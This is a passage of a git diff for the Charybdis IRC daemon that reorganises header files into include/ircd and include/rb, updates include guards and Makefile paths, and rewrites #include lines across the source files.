rename from include/ircd_getopt.h rename to include/ircd/ircd_getopt.h diff --git a/include/ircd_linker.h b/include/ircd/ircd_linker.h similarity index 100% rename from include/ircd_linker.h rename to include/ircd/ircd_linker.h diff --git a/include/ircd_signal.h b/include/ircd/ircd_signal.h similarity index 100% rename from include/ircd_signal.h rename to include/ircd/ircd_signal.h diff --git a/include/listener.h b/include/ircd/listener.h similarity index 98% rename from include/listener.h rename to include/ircd/listener.h index 48b37f470..03400053c 100644 --- a/include/listener.h +++ b/include/ircd/listener.h @@ -25,7 +25,7 @@ #ifndef INCLUDED_listener_h #define INCLUDED_listener_h -#include "ircd_defs.h" +#include "stdinc.h" struct Client; diff --git a/include/logger.h b/include/ircd/logger.h similarity index 100% rename from include/logger.h rename to include/ircd/logger.h diff --git a/include/m_info.h b/include/ircd/m_info.h similarity index 100% rename from include/m_info.h rename to include/ircd/m_info.h diff --git a/include/match.h b/include/ircd/match.h similarity index 99% rename from include/match.h rename to include/ircd/match.h index 151ad4bf6..63d1d6745 100644 --- a/include/match.h +++ b/include/ircd/match.h @@ -25,8 +25,7 @@ #ifndef INCLUDED_match_h #define INCLUDED_match_h -#include "setup.h" -#include "ircd_defs.h" +#include "stdinc.h" /* * match - compare name with mask, mask may contain * and ? as wildcards diff --git a/include/messages.h b/include/ircd/messages.h similarity index 100% rename from include/messages.h rename to include/ircd/messages.h diff --git a/include/modules.h b/include/ircd/modules.h similarity index 98% rename from include/modules.h rename to include/ircd/modules.h index 60fad5183..0b37c8f6b 100644 --- a/include/modules.h +++ b/include/ircd/modules.h @@ -24,9 +24,8 @@ #ifndef INCLUDED_modules_h #define INCLUDED_modules_h -#include "serno.h" +#include "stdinc.h" #include "defaults.h" -#include "setup.h" #include "parse.h" #define MAPI_CHARYBDIS 2 @@ -118,7 +117,7 @@ struct mapi_mheader_av2 struct mapi_mheader_av1 _mheader = { MAPI_V1, reg, unreg, cl, hl, hfnlist, v} #define DECLARE_MODULE_AV2(name, reg, unreg, cl, hl, hfnlist, caplist, v, desc) \ - struct mapi_mheader_av2 _mheader = { MAPI_V2, reg, unreg, cl, hl, hfnlist, caplist, v, desc, DATECODE} + struct mapi_mheader_av2 _mheader = { MAPI_V2, reg, unreg, cl, hl, hfnlist, caplist, v, desc, RB_DATECODE} /*** @@ -166,7 +165,7 @@ struct mapi_mheader_av3 _mheader = \ { \ MAPI_V3, (struct mapi_av3_attr *[]) \ { \ - MOD_ATTR { "time", DATECODE }, \ + MOD_ATTR { "time", RB_DATECODE },\ __VA_ARGS__, \ NULL \ } \ diff --git a/include/monitor.h b/include/ircd/monitor.h similarity index 100% rename from include/monitor.h rename to include/ircd/monitor.h diff --git a/include/msg.h b/include/ircd/msg.h similarity index 100% rename from include/msg.h rename to include/ircd/msg.h diff --git a/include/msgbuf.h b/include/ircd/msgbuf.h similarity index 100% rename from include/msgbuf.h rename to include/ircd/msgbuf.h diff --git a/include/newconf.h b/include/ircd/newconf.h similarity index 100% rename from include/newconf.h rename to include/ircd/newconf.h diff --git a/include/numeric.h b/include/ircd/numeric.h similarity index 100% rename from include/numeric.h rename to include/ircd/numeric.h diff --git a/include/operhash.h b/include/ircd/operhash.h similarity index 100% rename from include/operhash.h rename to include/ircd/operhash.h diff --git a/include/packet.h b/include/ircd/packet.h similarity index 100% rename from include/packet.h rename to include/ircd/packet.h diff --git a/include/parse.h b/include/ircd/parse.h similarity index 98% rename from include/parse.h rename to include/ircd/parse.h index a60068dd8..d225faf5e 100644 --- a/include/parse.h +++ b/include/ircd/parse.h @@ -25,7 +25,7 @@ #ifndef INCLUDED_parse_h_h #define INCLUDED_parse_h_h -#include "rb_dictionary.h" +#include struct Message; struct Client; diff --git a/include/patchlevel.h b/include/ircd/patchlevel.h similarity index 98% rename from include/patchlevel.h rename to include/ircd/patchlevel.h index 49701c91e..3e28dda2c 100644 --- a/include/patchlevel.h +++ b/include/ircd/patchlevel.h @@ -22,7 +22,7 @@ * USA */ -#include "setup.h" +#include "stdinc.h" #ifndef PATCHLEVEL #define PATCHLEVEL BRANDING_NAME "-" BRANDING_VERSION diff --git a/include/privilege.h b/include/ircd/privilege.h similarity index 100% rename from include/privilege.h rename to include/ircd/privilege.h diff --git a/include/ratelimit.h b/include/ircd/ratelimit.h similarity index 100% rename from include/ratelimit.h rename to include/ircd/ratelimit.h diff --git a/include/reject.h b/include/ircd/reject.h similarity index 100% rename from include/reject.h rename to include/ircd/reject.h diff --git a/include/restart.h b/include/ircd/restart.h similarity index 100% rename from include/restart.h rename to include/ircd/restart.h diff --git a/include/s_assert.h b/include/ircd/s_assert.h similarity index 100% rename from include/s_assert.h rename to include/ircd/s_assert.h diff --git a/include/s_conf.h b/include/ircd/s_conf.h similarity index 99% rename from include/s_conf.h rename to include/ircd/s_conf.h index 4c3bd5eed..ce0f62802 100644 --- a/include/s_conf.h +++ b/include/ircd/s_conf.h @@ -24,7 +24,7 @@ #ifndef INCLUDED_s_conf_h #define INCLUDED_s_conf_h -#include "setup.h" +#include "stdinc.h" #ifdef HAVE_LIBCRYPTO #include diff --git a/include/s_newconf.h b/include/ircd/s_newconf.h similarity index 99% rename from include/s_newconf.h rename to include/ircd/s_newconf.h index 3866eae50..877605f0d 100644 --- a/include/s_newconf.h +++ b/include/ircd/s_newconf.h @@ -33,7 +33,7 @@ #ifndef INCLUDED_s_newconf_h #define INCLUDED_s_newconf_h -#include "setup.h" +#include "stdinc.h" #include "privilege.h" #ifdef HAVE_LIBCRYPTO diff --git a/include/s_serv.h b/include/ircd/s_serv.h similarity index 100% rename from include/s_serv.h rename to include/ircd/s_serv.h diff --git a/include/s_stats.h b/include/ircd/s_stats.h similarity index 100% rename from include/s_stats.h rename to include/ircd/s_stats.h diff --git a/include/s_user.h b/include/ircd/s_user.h similarity index 100% rename from include/s_user.h rename to include/ircd/s_user.h diff --git a/include/scache.h b/include/ircd/scache.h similarity index 100% rename from include/scache.h rename to include/ircd/scache.h diff --git a/include/send.h b/include/ircd/send.h similarity index 99% rename from include/send.h rename to include/ircd/send.h index 695ec5634..a4b9aa74f 100644 --- a/include/send.h +++ b/include/ircd/send.h @@ -25,7 +25,7 @@ #ifndef INCLUDED_send_h #define INCLUDED_send_h -#include "rb_lib.h" +#include #include "ircd_defs.h" struct Client; diff --git a/include/snomask.h b/include/ircd/snomask.h similarity index 100% rename from include/snomask.h rename to include/ircd/snomask.h diff --git a/include/sslproc.h b/include/ircd/sslproc.h similarity index 100% rename from include/sslproc.h rename to include/ircd/sslproc.h diff --git a/include/stdinc.h b/include/ircd/stdinc.h similarity index 99% rename from include/stdinc.h rename to include/ircd/stdinc.h index ccae3f813..1f7b6294d 100644 --- a/include/stdinc.h +++ b/include/ircd/stdinc.h @@ -21,7 +21,7 @@ * */ -#include "rb_lib.h" +#include #include "ircd_defs.h" /* Needed for some reasons here -- dwr */ /* AIX requires this to be the first thing in the file. */ diff --git a/include/substitution.h b/include/ircd/substitution.h similarity index 100% rename from include/substitution.h rename to include/ircd/substitution.h diff --git a/include/supported.h b/include/ircd/supported.h similarity index 100% rename from include/supported.h rename to include/ircd/supported.h diff --git a/include/tgchange.h b/include/ircd/tgchange.h similarity index 100% rename from include/tgchange.h rename to include/ircd/tgchange.h diff --git a/include/whowas.h b/include/ircd/whowas.h similarity index 98% rename from include/whowas.h rename to include/ircd/whowas.h index 9d050ab0f..64f4b2136 100644 --- a/include/whowas.h +++ b/include/ircd/whowas.h @@ -24,11 +24,9 @@ #ifndef INCLUDED_whowas_h #define INCLUDED_whowas_h -#include "ircd_defs.h" +#include "stdinc.h" #include "client.h" -#include "setup.h" - struct User; struct Client; diff --git a/include/wsproc.h b/include/ircd/wsproc.h similarity index 100% rename from include/wsproc.h rename to include/ircd/wsproc.h diff --git a/include/rb/.gitignore b/include/rb/.gitignore new file mode 100644 index 000000000..e8daa4398 --- /dev/null +++ b/include/rb/.gitignore @@ -0,0 +1 @@ +config.h* diff --git a/librb/include/arc4random.h b/include/rb/arc4random.h similarity index 100% rename from librb/include/arc4random.h rename to include/rb/arc4random.h diff --git a/librb/include/rb_balloc.h b/include/rb/balloc.h similarity index 92% rename from librb/include/rb_balloc.h rename to include/rb/balloc.h index ff6652001..fc15d0027 100644 --- a/librb/include/rb_balloc.h +++ b/include/rb/balloc.h @@ -24,12 +24,11 @@ */ #ifndef RB_LIB_H -# error "Do not use balloc.h directly" +#error "Do not use balloc.h directly" #endif -#ifndef INCLUDED_balloc_h -#define INCLUDED_balloc_h - +#ifndef _RB_BALLOC_H +#define _RB_BALLOC_H 1 struct rb_bh; typedef struct rb_bh rb_bh; @@ -47,4 +46,4 @@ void rb_bh_usage(rb_bh *bh, size_t *bused, size_t *bfree, size_t *bmemusage, con void rb_bh_usage_all(rb_bh_usage_cb *cb, void *data); void rb_bh_total_usage(size_t *total_alloc, size_t *total_used); -#endif /* INCLUDED_balloc_h */ +#endif // _RB_BALLOC_H diff --git a/librb/include/rb_commio.h b/include/rb/commio.h similarity index 100% rename from librb/include/rb_commio.h rename to include/rb/commio.h diff --git a/librb/include/commio-int.h b/include/rb/commio_int.h similarity index 87% rename from librb/include/commio-int.h rename to include/rb/commio_int.h index cd573fef2..9ea36c96f 100644 --- a/librb/include/commio-int.h +++ b/include/rb/commio_int.h @@ -23,8 +23,8 @@ * */ -#ifndef _COMMIO_INT_H -#define _COMMIO_INT_H 1 +#ifndef _RB_COMMIO_INT_H +#define _RB_COMMIO_INT_H 1 #define RB_FD_HASH_BITS 12 #define RB_FD_HASH_SIZE (1UL << RB_FD_HASH_BITS) @@ -32,35 +32,6 @@ #define FD_DESC_SZ 128 /* hostlen + comment */ -#define rb_hash_fd(x) ((x ^ (x >> RB_FD_HASH_BITS) ^ (x >> (RB_FD_HASH_BITS * 2))) & RB_FD_HASH_MASK) - -#ifdef HAVE_WRITEV -#ifndef UIO_MAXIOV -# if defined(__FreeBSD__) || defined(__APPLE__) || defined(__NetBSD__) - /* FreeBSD 4.7 defines it in sys/uio.h only if _KERNEL is specified */ -# define RB_UIO_MAXIOV 1024 -# elif defined(__sgi) - /* IRIX 6.5 has sysconf(_SC_IOV_MAX) which might return 512 or bigger */ -# define RB_UIO_MAXIOV 512 -# elif defined(__sun) - /* Solaris (and SunOS?) defines IOV_MAX instead */ -# ifndef IOV_MAX -# define RB_UIO_MAXIOV 16 -# else -# define RB_UIO_MAXIOV IOV_MAX -# endif - -# elif defined(IOV_MAX) -# define RB_UIO_MAXIOV IOV_MAX -# else -# define RB_UIO_MAXIOV 16 -# endif -#else -#define RB_UIO_MAXIOV UIO_MAXIOV -#endif -#else -#define RB_UIO_MAXIOV 16 -#endif struct conndata { /* We don't need the host here ? */ @@ -234,5 +205,6 @@ void rb_setselect_win32(rb_fde_t *F, unsigned int type, PF * handler, void *clie int rb_init_netio_win32(void); int rb_select_win32(long); int rb_setup_fd_win32(rb_fde_t *F); -#endif + +#endif // _RB_COMMIO_INT_H diff --git a/librb/include/rb_dictionary.h b/include/rb/dictionary.h similarity index 99% rename from librb/include/rb_dictionary.h rename to include/rb/dictionary.h index 9a84ceed4..119eb65a4 100644 --- a/librb/include/rb_dictionary.h +++ b/include/rb/dictionary.h @@ -25,8 +25,6 @@ #ifndef __RB_DICTIONARY_H__ #define __RB_DICTIONARY_H__ -#include "librb-config.h" - typedef struct rb_dictionary rb_dictionary; typedef struct rb_dictionary_element rb_dictionary_element; typedef struct rb_dictionary_iter rb_dictionary_iter; diff --git a/librb/include/rb_dlink.h b/include/rb/dlink.h similarity index 100% rename from librb/include/rb_dlink.h rename to include/rb/dlink.h diff --git a/librb/include/rb_event.h b/include/rb/event.h similarity index 100% rename from librb/include/rb_event.h rename to include/rb/event.h diff --git a/librb/include/event-int.h b/include/rb/event_int.h similarity index 93% rename from librb/include/event-int.h rename to include/rb/event_int.h index 4cabd3169..311252fb6 100644 --- a/librb/include/event-int.h +++ b/include/rb/event_int.h @@ -22,6 +22,9 @@ * */ +#ifndef _RB_EVENT_INT_H +#define _RB_EVENT_INT_H 1 + struct ev_entry { rb_dlink_node node; @@ -35,3 +38,5 @@ struct ev_entry void *comm_ptr; }; void rb_event_io_register_all(void); + +#endif // _RB_EVENT_INT_H diff --git a/librb/include/rb_helper.h b/include/rb/helper.h similarity index 100% rename from librb/include/rb_helper.h rename to include/rb/helper.h diff --git a/librb/include/rb_linebuf.h b/include/rb/linebuf.h similarity index 100% rename from librb/include/rb_linebuf.h rename to include/rb/linebuf.h diff --git a/librb/include/rb_memory.h b/include/rb/memory.h similarity index 99% rename from librb/include/rb_memory.h rename to include/rb/memory.h index 0b61204ec..eaba9bfda 100644 --- a/librb/include/rb_memory.h +++ b/include/rb/memory.h @@ -30,8 +30,6 @@ #ifndef _RB_MEMORY_H #define _RB_MEMORY_H -#include - #define RB_UNIQUE_PTR(deleter) __attribute__((cleanup(deleter))) #define RB_AUTO_PTR RB_UNIQUE_PTR(rb_raii_free) diff --git a/librb/include/rb_patricia.h b/include/rb/patricia.h similarity index 100% rename from librb/include/rb_patricia.h rename to include/rb/patricia.h diff --git a/librb/include/rb_radixtree.h b/include/rb/radixtree.h similarity index 100% rename from librb/include/rb_radixtree.h rename to include/rb/radixtree.h diff --git a/librb/include/rb_rawbuf.h b/include/rb/rawbuf.h similarity index 100% rename from librb/include/rb_rawbuf.h rename to include/rb/rawbuf.h diff --git a/include/rb/rb.h b/include/rb/rb.h new file mode 100644 index 000000000..2b1280810 --- /dev/null +++ b/include/rb/rb.h @@ -0,0 +1,68 @@ +#ifndef _RB_H +#define _RB_H +#define RB_LIB_H + +#ifdef __cplusplus +extern "C" { +#endif + +#include "config.h" +#include "include.h" +#include "system.h" + + +typedef socklen_t rb_socklen_t; +typedef void log_cb(const char *buffer); +typedef void restart_cb(const char *buffer); +typedef void die_cb(const char *buffer); + +char *rb_ctime(const time_t, char *, size_t); +char *rb_date(const time_t, char *, size_t); +void rb_lib_log(const char *, ...); +void rb_lib_restart(const char *, ...) __attribute__((noreturn)); +void rb_lib_die(const char *, ...); +void rb_set_time(void); +const char *rb_lib_version(void); +void rb_lib_init(log_cb * xilog, restart_cb * irestart, die_cb * idie, int closeall, int maxfds, size_t dh_size, size_t fd_heap_size); +void rb_lib_loop(long delay) __attribute__((noreturn)); +time_t rb_current_time(void); +const struct timeval *rb_current_time_tv(void); +pid_t rb_spawn_process(const char *, const char **); +char *rb_strtok_r(char *, const char *, char **); +int rb_gettimeofday(struct timeval *, void *); +void rb_sleep(unsigned int seconds, unsigned int useconds); +char *rb_crypt(const char *, const char *); +unsigned char *rb_base64_encode(const unsigned char *str, int length); +unsigned char *rb_base64_decode(const unsigned char *str, int length, int *ret); +int rb_kill(pid_t, int); +char *rb_strerror(int); +int rb_setenv(const char *, const char *, int); +pid_t rb_waitpid(pid_t pid, int *status, int options); +pid_t rb_getpid(void); +//unsigned int rb_geteuid(void); +void *const *rb_backtrace(int *len); // writes to and returns static vector (*len indicates element count) +const char *const *rb_backtrace_symbols(int *len); // translates rb_backtrace(), all static +void rb_backtrace_log_symbols(void); // rb_backtrace_symbols piped to rb_lib_log() + + +#include "tools.h" +#include "dlink.h" +#include "memory.h" +#include "commio.h" +#include "balloc.h" +#include "linebuf.h" +#include "event.h" +#include "helper.h" +#include "rawbuf.h" +#include "patricia.h" +#include "dictionary.h" +#include "radixtree.h" + +#ifdef __cplusplus +} // extern "C" +#endif + +#include "cpp.h" + + +#endif // _RB_H diff --git a/librb/include/commio-ssl.h b/include/rb/ssl.h similarity index 97% rename from librb/include/commio-ssl.h rename to include/rb/ssl.h index cb6bda7a4..9acabb8d0 100644 --- a/librb/include/commio-ssl.h +++ b/include/rb/ssl.h @@ -21,8 +21,8 @@ * */ -#ifndef _COMMIO_SSL_H -#define _COMMIO_SSL_H +#ifndef _RB_SSL_H +#define _RB_SSL_H 1 int rb_setup_ssl_server(const char *cert, const char *keyfile, const char *dhfile, const char *cipher_list); int rb_init_ssl(void); diff --git a/librb/include/rb_lib.h b/include/rb/system.h similarity index 72% rename from librb/include/rb_lib.h rename to include/rb/system.h index 4a5d76c73..c83d6f0ef 100644 --- a/librb/include/rb_lib.h +++ b/include/rb/system.h @@ -1,14 +1,10 @@ -#ifndef RB_LIB_H -#define RB_LIB_H 1 +#ifndef _RB_SYSTEM_H +#define _RB_SYSTEM_H 1 -#include -#include -#include -#include -#include -#include -#include -#include + +#ifdef HAVE_IPV6 + #define RB_IPV6 1 +#endif #ifdef HAVE_STDBOOL_H @@ -238,59 +234,40 @@ while(0) #endif -typedef void log_cb(const char *buffer); -typedef void restart_cb(const char *buffer); -typedef void die_cb(const char *buffer); - -char *rb_ctime(const time_t, char *, size_t); -char *rb_date(const time_t, char *, size_t); -void rb_lib_log(const char *, ...); -void rb_lib_restart(const char *, ...) __attribute__((noreturn)); -void rb_lib_die(const char *, ...); -void rb_set_time(void); -const char *rb_lib_version(void); - -void rb_lib_init(log_cb * xilog, restart_cb * irestart, die_cb * idie, int closeall, int maxfds, - size_t dh_size, size_t fd_heap_size); -void rb_lib_loop(long delay) __attribute__((noreturn)); - -time_t rb_current_time(void); -const struct timeval *rb_current_time_tv(void); -pid_t rb_spawn_process(const char *, const char **); - -char *rb_strtok_r(char *, const char *, char **); - -int rb_gettimeofday(struct timeval *, void *); - -void rb_sleep(unsigned int seconds, unsigned int useconds); -char *rb_crypt(const char *, const char *); - -unsigned char *rb_base64_encode(const unsigned char *str, int length); -unsigned char *rb_base64_decode(const unsigned char *str, int length, int *ret); -int rb_kill(pid_t, int); -char *rb_strerror(int); - -int rb_setenv(const char *, const char *, int); - -pid_t rb_waitpid(pid_t pid, int *status, int options); -pid_t rb_getpid(void); -//unsigned int rb_geteuid(void); - -void *const *rb_backtrace(int *len); // writes to and returns static vector (*len indicates element count) -const char *const *rb_backtrace_symbols(int *len); // translates rb_backtrace(), all static -void rb_backtrace_log_symbols(void); // rb_backtrace_symbols piped to rb_lib_log() - - -#include -#include -#include -#include -#include -#include -#include -#include -#include -#include -#include - +#ifdef HAVE_STRUCT_SOCKADDR_STORAGE + #define rb_sockaddr_storage sockaddr_storage +#else + struct rb_sockaddr_storage { uint8_t _padding[128]; }; #endif + +#define rb_hash_fd(x) ((x ^ (x >> RB_FD_HASH_BITS) ^ (x >> (RB_FD_HASH_BITS * 2))) & RB_FD_HASH_MASK) + +#ifdef HAVE_WRITEV +#ifndef UIO_MAXIOV +# if defined(__FreeBSD__) || defined(__APPLE__) || defined(__NetBSD__) + /* FreeBSD 4.7 defines it in sys/uio.h only if _KERNEL is specified */ +# define RB_UIO_MAXIOV 1024 +# elif defined(__sgi) + /* IRIX 6.5 has sysconf(_SC_IOV_MAX) which might return 512 or bigger */ +# define RB_UIO_MAXIOV 512 +# elif defined(__sun) + /* Solaris (and SunOS?) defines IOV_MAX instead */ +# ifndef IOV_MAX +# define RB_UIO_MAXIOV 16 +# else +# define RB_UIO_MAXIOV IOV_MAX +# endif + +# elif defined(IOV_MAX) +# define RB_UIO_MAXIOV IOV_MAX +# else +# define RB_UIO_MAXIOV 16 +# endif +#else +#define RB_UIO_MAXIOV UIO_MAXIOV +#endif +#else +#define RB_UIO_MAXIOV 16 +#endif + +#endif // _RB_SYSTEM_H diff --git a/librb/include/rb_tools.h b/include/rb/tools.h similarity index 100% rename from librb/include/rb_tools.h rename to include/rb/tools.h diff --git a/ircd/Makefile.am b/ircd/Makefile.am index d4b1e31b7..d0ecf086d 100644 --- a/ircd/Makefile.am +++ b/ircd/Makefile.am @@ -3,17 +3,12 @@ AUTOMAKE_OPTIONS = foreign prefix = @prefix@ libircddir = @libdir@ -AM_CPPFLAGS = @LTDLINCL@ -I$(top_srcdir)/include -I$(top_srcdir)/librb/include -AM_LDFLAGS = -L$(top_srcdir)/librb/src -export-dynamic -avoid-version -no-undefined +AM_CPPFLAGS = @LTDLINCL@ -I$(top_srcdir)/include +AM_LDFLAGS = -L$(top_srcdir)/rb -export-dynamic -avoid-version -no-undefined AM_YFLAGS = -d BUILT_SOURCES = ircd_parser.h version.c -version.c: version.c.SH ../CREDITS ../include/patchlevel.h ../include/serno.h - $(SHELL) version.c.SH - $(CP) version.c version.c.last - touch version.c.SH - if MINGW EXTRA_FLAGS = -Wl,--enable-runtime-pseudo-reloc -export-symbols-regex '*' endif @@ -66,13 +61,10 @@ libircd_la_SOURCES = \ whowas.c \ wsproc.c libircd_la_LDFLAGS = $(EXTRA_FLAGS) -avoid-version -no-undefined -libircd_la_LIBADD = @LIBLTDL@ -L$(top_srcdir)/librb/src -lrb +libircd_la_LIBADD = @LIBLTDL@ -L$(top_srcdir)/rb -lrb libircd_LTLIBRARIES = libircd.la -bin_PROGRAMS = charybdis -charybdis_SOURCES = main.c -charybdis_LDFLAGS = $(EXTRA_FLAGS) -dlopen self -charybdis_LDADD = libircd.la -L$(top_srcdir)/librb/src -lrb - -install-exec-hook: install-libircdLTLIBRARIES - $(RM) -f version.c +clean-local: + rm -f ircd_lexer.c + rm -f ircd_parser.c + rm -f ircd_parser.h diff --git a/ircd/authproc.c b/ircd/authproc.c index 00fec3e0d..d06823907 100644 --- a/ircd/authproc.c +++ b/ircd/authproc.c @@ -22,23 +22,22 @@ * USA */ -#include "stdinc.h" -#include "rb_lib.h" -#include "client.h" -#include "ircd_defs.h" -#include "parse.h" -#include "authproc.h" -#include "match.h" -#include "logger.h" -#include "s_conf.h" -#include "s_stats.h" -#include "client.h" -#include "packet.h" -#include "hash.h" -#include "send.h" -#include "numeric.h" -#include "msg.h" -#include "dns.h" +#include +#include +#include +#include +#include +#include +#include +#include +#include +#include +#include +#include +#include +#include +#include +#include typedef void (*authd_cb_t)(int, char **); diff --git a/ircd/bandbi.c b/ircd/bandbi.c index 567f30fd7..82cefefae 100644 --- a/ircd/bandbi.c +++ b/ircd/bandbi.c @@ -28,23 +28,22 @@ * IN ANY WAY OUT OF THE USE OF THIS SOFTWARE, EVEN IF ADVISED OF THE * POSSIBILITY OF SUCH DAMAGE. */ -#include "stdinc.h" -#include "rb_lib.h" -#include "client.h" -#include "s_conf.h" -#include "logger.h" -#include "match.h" -#include "bandbi.h" -#include "parse.h" -#include "channel.h" -#include "hostmask.h" -#include "hash.h" -#include "s_newconf.h" -#include "reject.h" -#include "send.h" -#include "ircd.h" -#include "msg.h" /* XXX: MAXPARA */ -#include "operhash.h" +#include +#include +#include +#include +#include +#include +#include +#include +#include +#include +#include +#include +#include +#include +#include /* XXX: MAXPARA */ +#include static void bandb_handle_failure(rb_helper *helper, char **parv, int parc) __attribute__((noreturn)); diff --git a/ircd/cache.c b/ircd/cache.c index 40b21dee2..76b97af02 100644 --- a/ircd/cache.c +++ b/ircd/cache.c @@ -30,15 +30,13 @@ * POSSIBILITY OF SUCH DAMAGE. */ -#include "stdinc.h" -#include "ircd_defs.h" -#include "s_conf.h" -#include "client.h" -#include "hash.h" -#include "cache.h" -#include "rb_dictionary.h" -#include "numeric.h" -#include "send.h" +#include +#include +#include +#include +#include +#include +#include struct cachefile *user_motd = NULL; struct cachefile *oper_motd = NULL; diff --git a/ircd/capability.c b/ircd/capability.c index f82821d9a..423337af2 100644 --- a/ircd/capability.c +++ b/ircd/capability.c @@ -18,10 +18,9 @@ * POSSIBILITY OF SUCH DAMAGE. */ -#include "stdinc.h" -#include "capability.h" -#include "rb_dictionary.h" -#include "s_assert.h" +#include +#include +#include static rb_dlink_list capability_indexes = { NULL, NULL, 0 }; diff --git a/ircd/channel.c b/ircd/channel.c index 8f0b094e4..01c22be5c 100644 --- a/ircd/channel.c +++ b/ircd/channel.c @@ -22,23 +22,23 @@ * USA */ -#include "stdinc.h" -#include "channel.h" -#include "chmode.h" -#include "client.h" -#include "hash.h" -#include "hook.h" -#include "match.h" -#include "ircd.h" -#include "numeric.h" -#include "s_serv.h" /* captab */ -#include "s_user.h" -#include "send.h" -#include "whowas.h" -#include "s_conf.h" /* ConfigFileEntry, ConfigChannel */ -#include "s_newconf.h" -#include "logger.h" -#include "s_assert.h" +#include +#include +#include +#include +#include +#include +#include +#include +#include +#include /* captab */ +#include +#include +#include +#include /* ConfigFileEntry, ConfigChannel */ +#include +#include +#include struct config_channel_entry ConfigChannel; rb_dlink_list global_channel_list; diff --git a/ircd/chmode.c b/ircd/chmode.c index f29073d2b..89ae452b0 100644 --- a/ircd/chmode.c +++ b/ircd/chmode.c @@ -23,24 +23,24 @@ * USA */ -#include "stdinc.h" -#include "channel.h" -#include "client.h" -#include "hash.h" -#include "hook.h" -#include "match.h" -#include "ircd.h" -#include "numeric.h" -#include "s_serv.h" /* captab */ -#include "s_user.h" -#include "send.h" -#include "whowas.h" -#include "s_conf.h" /* ConfigFileEntry, ConfigChannel */ -#include "s_newconf.h" -#include "logger.h" -#include "chmode.h" -#include "s_assert.h" -#include "parse.h" +#include +#include +#include +#include +#include +#include +#include +#include +#include /* captab */ +#include +#include +#include +#include /* ConfigFileEntry, ConfigChannel */ +#include +#include +#include +#include +#include /* bitmasks for error returns, so we send once per call */ #define SM_ERR_NOTS 0x00000001 /* No TS on channel */ diff --git a/ircd/class.c b/ircd/class.c index 0381f2cf6..290562968 100644 --- a/ircd/class.c +++ b/ircd/class.c @@ -22,17 +22,16 @@ * USA */ -#include "stdinc.h" -#include "defaults.h" - -#include "class.h" -#include "client.h" -#include "ircd.h" -#include "numeric.h" -#include "s_conf.h" -#include "s_newconf.h" -#include "send.h" -#include "match.h" +#include +#include +#include +#include +#include +#include +#include +#include +#include +#include #define BAD_PING -2 diff --git a/ircd/client.c b/ircd/client.c index 9ec53b95c..3cf830491 100644 --- a/ircd/client.c +++ b/ircd/client.c @@ -22,37 +22,36 @@ * Foundation, Inc., 59 Temple Place, Suite 330, Boston, MA 02111-1307 * USA */ -#include "stdinc.h" -#include "defaults.h" +#include +#include -#include "client.h" -#include "class.h" -#include "hash.h" -#include "match.h" -#include "ircd.h" -#include "numeric.h" -#include "packet.h" -#include "authproc.h" -#include "s_conf.h" -#include "s_newconf.h" -#include "logger.h" -#include "s_serv.h" -#include "s_stats.h" -#include "send.h" -#include "whowas.h" -#include "s_user.h" -#include "hash.h" -#include "hostmask.h" -#include "listener.h" -#include "hook.h" -#include "msg.h" -#include "monitor.h" -#include "reject.h" -#include "scache.h" -#include "rb_dictionary.h" -#include "sslproc.h" -#include "wsproc.h" -#include "s_assert.h" +#include +#include +#include +#include +#include +#include +#include +#include +#include +#include +#include +#include +#include +#include +#include +#include +#include +#include +#include +#include +#include +#include +#include +#include +#include +#include +#include #define DEBUG_EXITED_CLIENTS diff --git a/ircd/dns.c b/ircd/dns.c index fa3c530a8..82b59d049 100644 --- a/ircd/dns.c +++ b/ircd/dns.c @@ -22,20 +22,18 @@ * USA */ -#include "stdinc.h" -#include "rb_lib.h" -#include "client.h" -#include "ircd_defs.h" -#include "parse.h" -#include "dns.h" -#include "match.h" -#include "logger.h" -#include "s_conf.h" -#include "client.h" -#include "send.h" -#include "numeric.h" -#include "msg.h" -#include "hash.h" +#include +#include +#include +#include +#include +#include +#include +#include +#include +#include +#include +#include #define DNS_HOST_IPV4 ((char)'4') #define DNS_HOST_IPV6 ((char)'6') diff --git a/ircd/extban.c b/ircd/extban.c index 69603f140..409fbfcf7 100644 --- a/ircd/extban.c +++ b/ircd/extban.c @@ -20,9 +20,9 @@ * USA */ -#include "stdinc.h" -#include "channel.h" -#include "client.h" +#include +#include +#include ExtbanFunc extban_table[256] = { NULL }; diff --git a/ircd/getopt.c b/ircd/getopt.c index f7c6c826c..b7d30f8b7 100644 --- a/ircd/getopt.c +++ b/ircd/getopt.c @@ -22,9 +22,8 @@ * USA */ -#include "stdinc.h" - -#include "ircd_getopt.h" +#include +#include # define OPTCHAR '-' diff --git a/ircd/hash.c b/ircd/hash.c index 4341dbbdc..dee174952 100644 --- a/ircd/hash.c +++ b/ircd/hash.c @@ -22,22 +22,19 @@ * USA */ -#include "stdinc.h" -#include "ircd_defs.h" -#include "s_conf.h" -#include "channel.h" -#include "client.h" -#include "hash.h" -#include "match.h" -#include "ircd.h" -#include "numeric.h" -#include "send.h" -#include "msg.h" -#include "cache.h" -#include "s_newconf.h" -#include "s_assert.h" -#include "rb_dictionary.h" -#include "rb_radixtree.h" +#include +#include +#include +#include +#include +#include +#include +#include +#include +#include +#include +#include +#include rb_dictionary *client_connid_tree = NULL; rb_radixtree *client_id_tree = NULL; diff --git a/ircd/hook.c b/ircd/hook.c index a15afdd04..2354fb2f2 100644 --- a/ircd/hook.c +++ b/ircd/hook.c @@ -34,9 +34,9 @@ * IN ANY WAY OUT OF THE USE OF THIS SOFTWARE, EVEN IF ADVISED OF THE * POSSIBILITY OF SUCH DAMAGE. */ -#include "stdinc.h" -#include "hook.h" -#include "match.h" +#include +#include +#include hook *hooks; diff --git a/ircd/hostmask.c b/ircd/hostmask.c index 059c07c77..3a892e4b3 100644 --- a/ircd/hostmask.c +++ b/ircd/hostmask.c @@ -23,13 +23,12 @@ * USA */ -#include "stdinc.h" -#include "ircd_defs.h" -#include "s_conf.h" -#include "hostmask.h" -#include "numeric.h" -#include "send.h" -#include "match.h" +#include +#include +#include +#include +#include +#include #ifdef RB_IPV6 static unsigned long hash_ipv6(struct sockaddr *, int); diff --git a/ircd/ircd.c b/ircd/ircd.c index c3c002be9..156f47506 100644 --- a/ircd/ircd.c +++ b/ircd/ircd.c @@ -23,48 +23,45 @@ * USA */ -#include "rb_lib.h" -#include "stdinc.h" -#include "setup.h" -#include "defaults.h" -#include "ircd.h" -#include "channel.h" -#include "class.h" -#include "client.h" -#include "hash.h" -#include "match.h" -#include "ircd_signal.h" -#include "msg.h" /* msgtab */ -#include "hostmask.h" -#include "numeric.h" -#include "parse.h" -#include "restart.h" -#include "s_conf.h" -#include "logger.h" -#include 